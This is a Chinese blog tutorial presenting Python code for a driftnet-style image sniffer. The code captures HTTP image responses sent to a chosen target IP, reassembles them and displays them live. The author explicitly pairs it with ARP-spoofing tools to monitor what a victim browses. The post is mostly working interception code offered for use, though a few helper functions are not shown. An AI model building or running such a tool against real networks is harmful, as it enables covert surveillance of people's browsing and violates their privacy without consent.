python實現圖片嗅探工具——自編driftnet

前言

想必嘗試過中間人攻擊(MITM)的小夥伴,大概率是知道driftnet的。這是一款簡單使用的圖片捕獲工具,可以很方便的從網絡數據包中抓取圖片,從而將監聽對象所瀏覽的圖片盡收眼底。
苦於driftnet對windows的支持不是特別友好,而且近日閒來沒事,於是我決定用python寫一個簡單的圖片嗅探工具。
哐哐哐~搞定之後,效果還是不錯的:
在這裏插入圖片描述
簡單設置過後,開始監聽:
在這裏插入圖片描述
注意:本工具不具有arp欺騙的功能,因此需要結合arp欺騙相應工具使用(如EvilFoca)

一、數據包嗅探

數據的嗅探採用的是scapy庫的sniff模塊,一句話便能搞定:

# 嗅探函數
def dosniff(filter_rule,sniff_time,prn_f):
    sniff(filter=filter_rule,timeout=sniff_time,prn=prn_f) # 監聽數據包

其中prn參數是一個回調函數,即每抓取到一個數據包之後將執行這個函數,而這也是捕獲數據包中圖片的關鍵,具體實現,客官您望下看~

二、圖片捕獲

這裏需要明確的是,在圖片的傳輸過程中,往往一個TCP包的長度是不夠的,所以一張圖片往往分爲很多個包。因此,爲了捕獲其中的圖片,我們必須對圖片數據進行識別,並將對應的數據包合併(相同的ack值)。
具體思路如下:

  1. 找到有上網數據的數據包
if p.haslayer(Raw): # 找出有上網數據的
  1. 判斷是否爲含有圖片的HTTP響應
if 'Content-Type: image' in str(load): # 如果爲圖片響應
	xxxxx # 提取HTTP協議中的相關信息(圖片長度、圖片後綴、IP地址、以及部分圖片二進制數據)
else:
	xxxxx # 判斷是否爲圖片數據的某一部分,如果是則將數據添加進去

3、把圖片數據合併並生成圖片

for i in img_list[ack][1:]: 
    img += i
if len(img) == length: # 如果圖片數據已經完整
    imgname = '%d.%s'%(N,img_map[postfix])
    with open('./images/%s/%s'%(target,imgname),'wb') as f:
        f.write(img)   

完整的回調函數:

# 處理數據包
def handlepacket(p):
    global N,img_list,imgvalue_list,img_map
    if p.haslayer(Raw): # 找出有上網數據的
        load = p.load 
        ack = p.ack 
        try:
            ## 如果爲圖片相應,且帶有HTTP頭(即第一個圖片TCP包)
            if 'Content-Type: image' in str(load): # 如果爲圖片響應
                postfix = re.findall('image/(.*?)\\\\r',str(load))[0] # 圖片後綴
                length = int(re.findall('Content-Length: (.*?)\\\\r',str(load))[0]) # 圖片數據長度
                ip_src = p['IP'].src # 源頭IP
                ip_dst = p['IP'].dst # 目的IP
                img_list[ack] = [(postfix,length,ip_src,ip_dst)] # 0爲圖片信息(以下爲圖片二進制數據)
                img_load=load[load.find(b'\x0d\x0a\x0d\x0a')+4:] # 去除請求頭部分,只要圖片數據
                img_list[ack].append(img_load)
            ## 如果爲某圖片的後續數據包
            elif ack in list(img_list.keys()):
                img_load = load # 所有load均爲圖片數據
                img_list[ack].append(img_load)
                img = bytes()
                postfix = img_list[ack][0][0] # 圖片後綴
                length = img_list[ack][0][1] # 圖片長度
                ip_src = img_list[ack][0][2] # 源頭IP 
                ip_dst = img_list[ack][0][3] # 目的IP
                for i in img_list[ack][1:]: 
                    img += i
                if len(img) == length: # 如果圖片數據已經完整
                    imgname = '%d.%s'%(N,img_map[postfix])
                    with open('./images/%s/%s'%(target,imgname),'wb') as f:
                        f.write(img)
                        img = Image.open(BytesIO(img))
                        img = resize(200,200,img)
                        img_tk = ImageTk.PhotoImage(img)
                        imgvalue_list.append(img_tk)
                        Label(frame,image=imgvalue_list[-1],bg='black').grid(row=(N-1)//4,column=(N-1)%4,padx=23,pady=3)
                        canvas.create_window((ww/2,math.ceil(N/4)*105), window=frame)  #create_window 
                        canvas['scrollregion'] = (0,0,ww,math.ceil(N/4)*210)
                        canvas.yview_moveto(1)
                        print('%s【driftnet】: saving image data as "%s"'%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),imgname))
                        N += 1
        except:
            pass

三、圖片顯示及主函數

爲了將捕獲的圖片顯示出來,我採用tkinter庫,具體如下:

# 主函數
if __name__ == '__main__':
    printinfo()
    target = ''
    sniff_time = 24*60*60
    while True:
        choice = input('\n請選擇:')
        if choice not in ['1','2','3','4','5']:
            print(colored('>>>選擇錯誤,請重新輸入!','red'))
            time.sleep(1)
            printinfo()
        else:
            if choice == '1':
                scan()
            if choice == '2':
                target = input('>>>監聽目標(對方IP地址):')
                print('監聽目標設置成功!')
                time.sleep(1)
                printinfo()
            if choice == '3':
                sniff_time = input('>>>監聽時間(默認爲86400秒):')
                sniff_time = int(sniff_time)
                print('監聽時間設置成功!')
                time.sleep(1)
                printinfo()
            if choice == '4':
                if target == '':
                    print(colored('監聽目標未設置!','red'))
                    time.sleep(1)
                    printinfo()
                else:
                    print('監聽目標爲"%s"  監聽時間爲"%s秒"'%(colored(target,'green'),colored(sniff_time,'green')))
                    op = input('是否開始(Y/N)?')
                    if not (op == 'Y' or op == 'y'):
                        printinfo()
                        continue
                    # 創建GUI
                    ## 初始化全局變量
                    N = 1 # 圖片編號
                    img_list = {} # 圖片字典,用於存儲圖片信息,以及對應數據包
                    imgvalue_list = [] # 圖片數據,用於在畫布上顯示(防止由於局部變量等原因丟失變量)
                    ## 相關參數
                    bgcolor = 'black'
                    ## 創建root窗口(1000x630)
                    root = Tk()                   
                    root.title('driftnet') # 設置標題
                    root.iconbitmap('logo.ico')
                    root.config(bg=bgcolor)
                    sw = root.winfo_screenwidth()  # 屏幕寬度
                    sh = root.winfo_screenheight() # 屏幕高度
                    ww = 1000 # 窗口寬度
                    wh = 630 # 窗口高度
                    x = (sw-ww)/2 # 窗口橫座標
                    y = (sh-wh)/2 # 窗口縱座標
                    root.geometry('%dx%d+%d+%d' %(ww,wh,x,y))
                    root.resizable(width=False, height=False) # 窗口大小無法更改
                    ## 創建畫布canvas
                    canvas=Canvas(root,width=ww,height=wh) #創建canvas
                    canvas.grid()
                    ## 創建frame窗口
                    frame = tk.Frame(canvas)
                    frame.grid()
                    ## 滾動條
                    vbar=Scrollbar(root,orient=VERTICAL) #豎直滾動條
                    vbar.place(x=ww-20,y=0,width=20,height=wh)
                    vbar.configure(command=canvas.yview)
                    canvas.config(yscrollcommand=vbar.set) #設置 
                        
                    # 嗅探數據
                    if not os.path.exists('./images'):
                        os.mkdir('./images')
                    if not os.path.exists('./images/%s'%target):
                        os.mkdir('./images/%s'%target)
                    filter_rule = "tcp src port 80 and dst host {}".format(target) # 過濾規則
                    print('開始嗅探.....')
                    t = threading.Thread(target=dosniff,args=(filter_rule,sniff_time,handlepacket,))
                    t.start()
                    
                    # 進入消息循環
                    root.mainloop()
                    
                    # 關閉嗅探線程
                    stop_thread(t)
                    #input() # 處理stop_thread多餘的輸出流
                    printinfo()
            if choice == '5':
                print('Good bye!')
                exit(0)

這裏遇到的坑主要是滾動條自動下滑的問題(即當我們不斷捕獲到圖片的時候,如果讓界面將所有圖片顯示出來,並且滾動條始終保持在最小面)。

寫在最後

代碼些許有些混亂,主要是想跟小夥伴們分享下一些思路,也希望可以有所幫助或啓發:

  • 如何從數據包中捕獲圖片數據
  • Tkinter如何實現滾動條自動下滑

最後,感謝各位大大的耐心閱讀~
慢着,大俠請留步… 動起可愛的雙手,來個贊再走唄 (๑◕ܫ←๑)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章